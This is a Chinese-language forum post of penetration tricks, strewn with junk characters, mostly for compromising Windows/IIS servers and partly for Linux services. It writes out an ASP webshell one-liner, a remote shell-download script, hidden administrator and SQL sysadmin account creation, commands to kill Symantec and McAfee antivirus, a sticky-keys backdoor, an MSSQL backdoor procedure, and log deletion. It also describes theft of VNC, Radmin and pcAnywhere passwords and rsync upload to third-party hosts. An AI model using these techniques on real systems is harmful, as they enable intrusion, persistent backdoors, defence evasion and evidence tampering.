渗透技巧总结

admin

旁站路径问题
; K0 o, M# K, i: U/ w: z2 b+ H, ^! B1、读网站配置。
  ^, b* N, |0 o$ o0 {6 [% q2、用以下VBS
On Error Resume Next
If (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
; u+ V  z3 h4 \! I; u        
7 ]( E8 U3 y' }: b5 P* ?
Msgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "

# u+ k: ]' p* v3 q+ W7 ~9 ^2 T( ^Usage:Cscript vWeb.vbs",4096,"Lilo"
. Q2 h+ ^( Y& v        WScript.Quit
( R  W3 I9 ?! E6 G& \1 a9 s6 lEnd If
1 Q2 n  j3 }+ }0 j: tSet ObjService=GetObject
) |0 N+ _5 G/ U% f
("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
9 {0 C1 Y: Q, w: X, P7 I$ H1 L        If IsNumeric(obj3w.Name)

Then
1 h5 @2 E* }7 B( Y7 o                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
                If Err
( k3 A2 p4 Q9 n4 b% B
<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
4 O8 T( d4 N/ e7 q     

4 o( g: j8 U, L+ [' }$ {# q; _' Q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
- d- w6 `) l5 j3 r6 I/ g+ `
  Q' R4 k8 q' k+ sWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
! d' }5 N. k5 a4 V! e. T: _; l                Next
      

         WScript.Echo "ath            : " & VDirObj.Path
1 S! P! q5 {& A' C  F5 t        End If
4 |% B3 D( A0 \/ s9 ?Next
/ K+ k. x2 X# E) i: Y/ L; k复制代码
& e! R  H  A! N0 ?! Q6 N3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
/ ?( \* s5 h6 L4 }: ~4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
) a( X+ X+ F4 I0 N—————————————————————
1 K' b" n6 F6 D& sWordPress的平台，爆绝对路径的方法是：
7 q$ m: f- V  e+ |/ @% F7 X/ Kurl/wp-content/plugins/akismet/akismet.php
8 X9 x( o5 a$ \, Iurl/wp-content/plugins/akismet/hello.php
——————————————————————
/ _5 _6 u# R3 z! l: t, E4 ~$ Z" e1 YphpMyAdmin暴路径办法:
9 {/ M/ ]& h8 e" p/ QphpMyAdmin/libraries/select_lang.lib.php
phpMyAdmin/darkblue_orange/layout.inc.php
& r2 G- D* |; \! p; uphpMyAdmin/index.php?lang[]=1
phpmyadmin/themes/darkblue_orange/layout.inc.php
: A8 h& P! O# H+ F4 A% H" U- O1 s/ c————————————————————
网站可能目录(注：一般是虚拟主机类）
, r8 w! P) I3 N# O1 N/ h+ v4 {+ Pdata/htdocs.网站/网站/
' R. U0 s6 A, r  y————————————————————
CMD下操作VPN相关
netsh ras set user administrator permit #允许administrator拨入该VPN
: `! S5 p( Y2 y/ s2 Q$ `netsh ras set user administrator deny #禁止administrator拨入该VPN
netsh ras show user #查看哪些用户可以拨入VPN
' k' [- C% j, Q2 onetsh ras ip show config #查看VPN分配IP的方式
netsh ras ip set addrassign method = pool #使用地址池的方式分配IP
netsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
————————————————————
: _; P1 o1 k8 L' f/ E8 |. l/ v/ X7 Z命令行下添加SQL用户的方法
& k& m, w3 u2 @需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
0 F: x( d+ d$ I4 n9 lEXEC sp_addsrvrolemember 'test, 'sysadmin'
& d8 m8 T6 `- q4 X7 Q: G然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
5 X! h6 v+ q, I0 i
另类的加用户方法
, I, M) `  E& C6 O& v7 D' u在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
0 O, ?6 U. `  n1 o7 y) K, bjs:
5 T; b. U/ m. ]% |" Hvar o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
3 D$ I. [) ^: K9 iz.setting("AccountType")=3;

% L# a' F5 {8 `  Tvbs:
9 H, b" \4 f5 O* E# f! l  ^, wSet   o=CreateObject( "Shell.Users" )
6 D( Q& ]. L/ x6 ?# |+ k4 hSet z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）
* Y! `- v, q$ K9 p+ M& B2 q3 n
# o7 T1 r4 P0 X: }命令如下
( ^5 l* D* z2 e# i3 wcacls c: /e /t /g everyone:F           #c盘everyone权限
2 s  s; z$ k( ~* a. I2 Xcacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
2 {( F4 b3 U" X5 Z9 X6 z3389相关
; s1 V1 B  L6 Xa、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
* c+ X9 m& z+ a$ Sb、内网环境（LCX）
  P3 h# r( w  J; Q. I2 w1 |c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
1 J1 Q. r) ^# o8 T, x2003 运行mstsc /console   
7 [( H6 C7 v5 h8 ^1 d
杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
0 D1 S. Z& ~/ n' D; w* Ynet stop "Symantec AntiVirus" /y
net stop "Symantec AntiVirus Definition Watcher" /y
" X: }7 x  u9 C! h6 ]net stop "Symantec Event Manager" /y
( q. x, t3 l. v8 h* z  @/ r; Xnet stop "System Event Notification" /y
! B4 ~* |( ~4 @9 Mnet stop "Symantec Settings Manager" /y
, i6 w. i0 c' @. ?6 P2 j
, U& p+ E$ a+ P* k' c# c6 c2 @. i; \卖咖啡：net stop "McAfee McShield"
2 v: _6 ?& v9 D7 V. I————————————————————
! j9 t, a# S$ @( g+ W
5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
! `$ d9 T' X0 I5 q* \$ j5 P; mcopy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
, O( f0 ^8 `: p0 u  [0 S/ v1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
% o2 k% f2 X5 |" J* ~8 Y6 x2、导出注册表SAM下用户的两个键值
' r0 l! k0 k! y6 T6 [) [4 k3 d3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
+ U4 M$ J  ^+ M* q6 ^: f& R4、利用Hacker Defender把相关用户注册表隐藏
/ b9 ^8 \- L0 m3 [5 y' u+ t——————————————————————
' S& C- S: V4 z; e9 H& @7 EMSSQL扩展后门：
- M, i; R9 ?: F, ~) f! K5 \USE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
( x/ m. \3 M6 sGRANT exec On xp_helpsystem TO public;
# h2 Y' q$ B+ }( ?5 T0 t7 T2 r———————————————————————
日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
ex011120.log / ex011121.log / ex011124.log三个文件，
# ~, l# j) P2 |直接删除 ex0111124.log
: b$ U' N' [4 k: S' L3 d% t不成功，“原文件...正在使用”
% Z& y; X3 Q2 f/ Y当然可以直接删除ex011120.log / ex011121.log
用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
5 q* v/ e" ]2 nMSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
/ b* f9 Q- ~& n$ y, i1 h1 B# K找到接接过的信息删除。
8 H" D9 p0 o$ x# RMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL
0 y! j5 `+ {" s+ b5 j
* v7 K# f8 ~5 @Server\90\Tools\Shell\mru.dat
—————————————————————————
1 N5 X; D: s5 `, e& a( U防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）

+ B# e0 I, X9 G$ [) T+ ]<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
; R* U5 t/ x. V! h. Q* _5 WDim Ads, Retrieval, GetRemoteData
2 b  D6 r; k1 f9 }1 W9 J$ \. UOn Error Resume Next
Set Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
With Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
, q/ U7 b/ M5 I7 j& ^; L.Send
GetRemoteData = .ResponseBody
, f) b. e2 k* k- m1 B0 M" vEnd With
Set Retrieval = Nothing
5 r: C1 ]% U1 ^7 F. l0 vSet Ads = Server.CreateObject("Adodb.Stream")
With Ads
7 |- g: i5 x: f.Type = 1
.Open
2 u1 a% y& `# Z% A# t- h5 v: j9 F.Write GetRemoteData
( f; Q5 o$ N. T- \( ].SaveToFile Server.MapPath(s_LocalFileName), 2
7 E/ @/ j7 j8 u+ ^.Cancel()
/ l2 e; s) ^) o3 n* I* m.Close()
End With
1 n2 ^$ [  b; F8 P6 s' BSet Ads=nothing
End Sub

eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
) s7 P5 b4 i) ]* Y7 c%>

' T1 Z. o. {5 v6 D" X1 ^: [& nVNC提权方法:
* f) I8 \  g& w; B1 a利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
' `- s' R8 [+ j6 K& g1 i注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
$ H! ~6 C- g7 Y& E! \- W1 f3 t1 f1 }regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
8 T8 y1 n# k$ O+ I# pRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
- z! d0 d* `- f6 F( A6 E然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
. l, `- m! g6 G/ e1 v5 WUsers\Application Data\Symantec\pcAnywhere\文件夹下。
——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
: v9 h8 F* Y: Z$ q0 c+ G* }——————————————————----------
: {, m% H& R$ `2 I6 J/ ^WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
7i24的web目录也是可写，权限为administrator。

1433 SA点构建注入点。
& y& Z4 H! j5 g1 v4 o6 K6 J6 X<%
strSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
+ J: c8 S" e7 k4 E5 R4 d; \strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &
4 h# m- Y$ d* H) t
";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &

6 A) m8 p  w$ R. d" K5 n8 EstrSQLDBName & ";"
conn.open strCon
dim rs,strSQL,id
set rs=server.createobject("ADODB.recordset")
id = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
rs.close
0 n& [: X$ I+ e7 l- G/ V%>
复制代码
******liunx 相关******
一.ldap渗透技巧
1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
7 E8 ?0 ~4 }, ~* C& Y/ `
2 a' k0 Q8 Y  a$ E: g% q" e7 g; c+ a2.less /etc/ldap.conf
4 c9 e9 ^$ s7 K0 ?  \7 sbase ou=People,dc=unix-center,dc=net
2 e4 y! ^2 T& O找到ou,dc,dc设置
' [5 ]' `$ ]2 I9 K) }- M
$ M# i0 ^, Q6 v0 R( [0 ]1 X$ O# a3.查找管理员信息
8 K3 O# I- z& I1 i* H; t6 M匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

' g7 [! T+ n, y" d"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
有密码形式
7 n6 k2 w& s" E8 ^ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
1 }2 X4 d+ T" p* Z1 E) h  y
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
) Q4 G4 @$ k3 M9 M) x% Xldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

, P# g' ?$ \, c7 M实战:
1.cat /etc/nsswitch
6 [! ~2 r8 }8 j$ {看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
: d, p. d8 r7 w! J" _7 p5 P7 X找到ou,dc,dc设置
, t) V# ^! J+ a' \
3.查找管理员信息
匿名方式
9 i2 Q; D+ i( \* j9 l( `ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
/ _6 j* }  X* D& Q
"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
2 f* f# e) p0 T- I3 c3 X# o有密码形式
7 h5 T* H$ l7 g. [% |ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

$ a! ?! S) q" Y. Y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2


4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 g: T8 ~7 y% i" s
2 `0 a# H: `  Y7 E% Z渗透实战:
7 d* V* W" D% P& a1.返回所有的属性
ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
2 s$ A, d* Q; \; t; ~' N1 ~version: 1
dn: dc=ruc,dc=edu,dc=cn
+ N+ ~. s: f1 W0 O. y% i/ ]( Q; b7 Fdc: ruc
9 e  U7 b- z# AobjectClass: domain

dn: uid=manager,dc=ruc,dc=edu,dc=cn
( Z$ h8 J  o) V" i1 Iuid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
& z. x6 K+ I% r% p3 lobjectClass: person
  C) f" k- G% @4 d+ Q( zobjectClass: top
! k. c  Z( {/ ]1 Y: G$ f) dsn: manager
cn: manager
* K* l. j3 B# N8 U3 E. p
dn: uid=superadmin,dc=ruc,dc=edu,dc=cn
6 }) m( D% \6 P3 Nuid: superadmin
" H0 p& j7 |' z' ^, ]objectClass: inetOrgPerson
objectClass: organizationalPerson
objectClass: person
* X( x  ]' B9 T1 aobjectClass: top
sn: superadmin
cn: superadmin

dn: uid=admin,dc=ruc,dc=edu,dc=cn
7 z% W( Q. P- T8 C0 q6 }uid: admin
- J  i/ O- L5 w" b. N0 P8 gobjectClass: inetOrgPerson
objectClass: organizationalPerson
' w: s( K, _' T- L& O: a5 {objectClass: person
# K' j( T7 I8 r, F3 K0 O1 g8 iobjectClass: top
0 d5 r# C0 {# a: o- S1 e' @' ysn: admin
cn: admin

dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
uid: dcp_anonymous
+ l+ _8 v4 v5 u: N( p( GobjectClass: top
objectClass: person
; y/ t. o, m- tobjectClass: organizationalPerson
( Q- g- ^5 `7 X' ]& RobjectClass: inetOrgPerson
sn: dcp_anonymous
" `- p' k3 |  P# ecn: dcp_anonymous

3 y) D2 E4 ?' C0 e8 X2.查看基类
bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |
/ K" F/ N& P. v
* ~9 Q9 R3 Z4 K; pmore
, a4 c/ b& M" A5 L* h5 \version: 1
dn: dc=ruc,dc=edu,dc=cn
- T$ b7 |. u3 ?/ T! C& ddc: ruc
* O  W; @# P9 I, g; h+ L3 XobjectClass: domain
% ]8 v$ |3 y2 k3 {  B! m0 v% I
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
* ^9 e/ s8 ~& t! }, O& v" _  Ndn:
- O* M) I" }- x* p0 m/ f  U: G& }objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
supportedExtension: 2.16.840.1.113730.3.5.7
' }2 ]9 v* W* }! g& ]. k! Y4 @supportedExtension: 2.16.840.1.113730.3.5.8
+ n8 F$ M9 v" m2 r0 ~7 Z4 KsupportedExtension: 1.3.6.1.4.1.4203.1.11.1
: h8 [: v3 I! ~% SsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
2 S) U/ U, n* d+ P  d3 LsupportedExtension: 2.16.840.1.113730.3.5.5
% }1 V) D8 {8 H2 {& VsupportedExtension: 2.16.840.1.113730.3.5.6
3 E4 Z1 S$ Z- i' EsupportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
$ G+ s! s7 C4 y; \" L! vsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
7 }+ y! K+ J* {1 h# U& j4 P; t1 {supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
0 Q# n- s9 }' h/ ?' J% JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
" p5 D8 ^) u9 VsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
- w6 \$ {3 x6 `" U% CsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
+ `" |; x4 \0 \4 v! L5 U" @supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
9 t$ C5 {. h, N: O; L( ?8 msupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
* G/ c6 E0 @0 `supportedExtension: 1.3.6.1.4.1.1466.20037
supportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
3 F6 c  T' h9 w) jsupportedControl: 2.16.840.1.113730.3.4.3
supportedControl: 2.16.840.1.113730.3.4.4
& d: ~) c; ?% J' \( m5 n( m- EsupportedControl: 2.16.840.1.113730.3.4.5
3 N3 }. u( P' K7 G! U; ksupportedControl: 1.2.840.113556.1.4.473
7 P% N6 {: [* `; XsupportedControl: 2.16.840.1.113730.3.4.9
# e/ M# _/ h" `2 h; N$ I, a) @# UsupportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
  d9 p) m" D9 {( m3 H+ ]supportedControl: 2.16.840.1.113730.3.4.17
, ^; u1 J9 ^$ NsupportedControl: 2.16.840.1.113730.3.4.19
! v. _8 X/ C' B7 D( VsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
3 t; K8 s: v1 d" P0 k0 A  jsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
+ [& O" \8 Z, tsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
! R3 L6 z7 @+ v+ l0 psupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
+ a; t9 N/ {+ F7 isupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
supportedControl: 2.16.840.1.113730.3.4.12
* n2 I9 v) L: L. _supportedControl: 2.16.840.1.113730.3.4.18
supportedControl: 2.16.840.1.113730.3.4.13
0 R8 E. o# d& L2 Q+ YsupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
supportedLDAPVersion: 2
supportedLDAPVersion: 3
- A% b9 K. K" U& R0 \8 FvendorName: Sun Microsystems, Inc.
* H) J7 P# B  J- ^! {8 j' uvendorVersion: Sun-Java(tm)-System-Directory/6.2
& B/ ?# u, @' cdataversion: 020090516011411
netscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
* m! `! q5 A0 c& X, tsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
1 n( S- b" r% bsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
, Q6 n2 t; b6 ^* e1 m, |5 asupportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
4 d$ t, z$ H7 k, S" fsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
1 O0 M; g+ T* T9 \% FsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
& R2 r3 R3 \* c/ r0 ]2 r, ksupportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
2 I* z! u' w$ A$ t; N9 o, R3 ?' ksupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
2 T- b" z0 V9 Z8 PsupportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
0 J7 V! Z4 m- o% _- @supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
) i9 Y/ Y5 U0 q# y- q, rsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
; n) l, I. K3 M5 H$ f% H( v7 ?5 ksupportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
- C0 `+ O" a+ g/ V' isupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
9 B2 w6 g  M. l% a9 b+ OsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
1 h; N: K) u3 m' ]6 I% V. W/ {supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
" m# h+ W7 [4 M4 K. M5 t1 QsupportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
. q+ G% Q* R/ l! w4 E. F' f8 e+ ysupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
( w- e9 L) q- @supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
! i8 g4 F& S& Y, NsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
. V9 P. c4 t* V" J$ \' YsupportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
% R7 a7 Q3 T% D9 p) \9 UsupportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
) }9 x  K" t. S. {( R% |5 V0 KsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
1 j; x6 J5 v# i, O. m$ B8 SsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
5 L6 W% N5 ]  [1 I7 ?supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
supportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
. F- d9 ~, D3 n4 P2 X- q  S7 Y7 vsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
- K# S- J0 t7 a; L; jsupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
5 L. w5 I# t; P1 G+ Q! qsupportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
8 O, @, k( i( YsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
, ?' U& N5 d) [- |supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
# p- r( @$ q. H5 U) y) NsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
2 s5 y8 f# A3 a5 n; J) v; {supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
6 h4 @/ X; s  Y1 ?————————————
/ _  f' L% _5 o" g$ H2. NFS渗透技巧
: y1 q7 G/ C1 m# f; mshowmount -e ip
2 m: p7 U' g- w( D1 q列举IP
——————
- r: A: W# x2 a4 V1 @3.rsync渗透技巧
* @" n" d& h$ D4 B# _7 F1.查看rsync服务器上的列表
  T; u7 B* R3 trsync 210.51.X.X::
finance
0 ]% S7 W4 h: o  e. E6 o* cimg_finance
% f" c; E9 a, r- O: hauto
* i" X0 K- v# q# {) Z& {img_auto
, N/ L. y: m0 S; ~) J8 \3 Ihtml_cms
6 R7 G% ^! V( e+ i3 [img_cms
ent_cms
ent_img
6 I5 e! L1 B( V' `# d0 Z$ a6 K; Tceshi
res_img
4 d) ]) W9 t0 y4 s8 K2 G) qres_img_c2
chip
: K# n1 w" E# p! [; T* }3 B$ }chip_c2
ent_icms
& S9 X' ~4 t& K. Igames
1 H6 h8 X6 c1 Vgamesimg
  A4 w, i! X; \: J& `# ]* smedia
- R6 i) m! d5 v6 hmediaimg
fashion
5 b% n6 q% ^5 y' b$ p0 m" bres-fashion
res-fo
3 {( h1 h4 |) r+ b# ]$ Ktaobao-home
/ R0 H( U# |$ X1 C% bres-taobao-home
( U! i! `* ]1 Q/ Ihouse
5 |- p+ e( Z' B5 C" ^res-house
  T0 K6 g8 I7 Zres-home
res-edu
res-ent
res-labs
res-news
% p  |9 {' W& F; E7 c3 dres-phtv
2 X6 t6 }; A. Ores-media
+ d( l( \# R9 H- qhome
edu
0 e6 C3 F+ _% l5 ^) Y$ `news
% N3 e7 ^" O7 ?5 Tres-book
+ C+ \8 y9 I- Q7 o
6 W4 I: B2 A; k% i" W看相应的下级目录(注意一定要在目录后面添加上/)
. I/ S; y* R' D1 a9 e4 S

" n5 G1 w+ O4 ?# {+ xrsync 210.51.X.X::htdocs_app/
6 s# I2 n% n/ hrsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
5 |: C/ P+ Q1 p9 g/ P- k! z! Q
  w7 a2 {4 S" `2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
; X; w* l( k0 c  f' n
3.向上更新rsync文件(成功上传,不会覆盖)
3 a5 m; q2 U% ?2 i8 s) W5 hrsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
8 o! O+ p  z  d0 N4 }  d" R- Y
四.squid渗透技巧
nc -vv baidu.com 80
GET HTTP://www.sina.com / HTTP/1.0
+ u2 t. ^4 r1 `GET HTTP://WWW.sina.com:22 / HTTP/1.0
五.SSH端口转发
0 D5 X- B5 Q6 H- xssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
6 l, r/ ?( D1 F" u3 ~6 F: \
六.joomla渗透小技巧
确定版本
0 M6 Y0 v# G" N2 o" e1 _4 yindex.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
" O) O! }: _' G" j
15&catid=32:languages&Itemid=47

重新设置密码
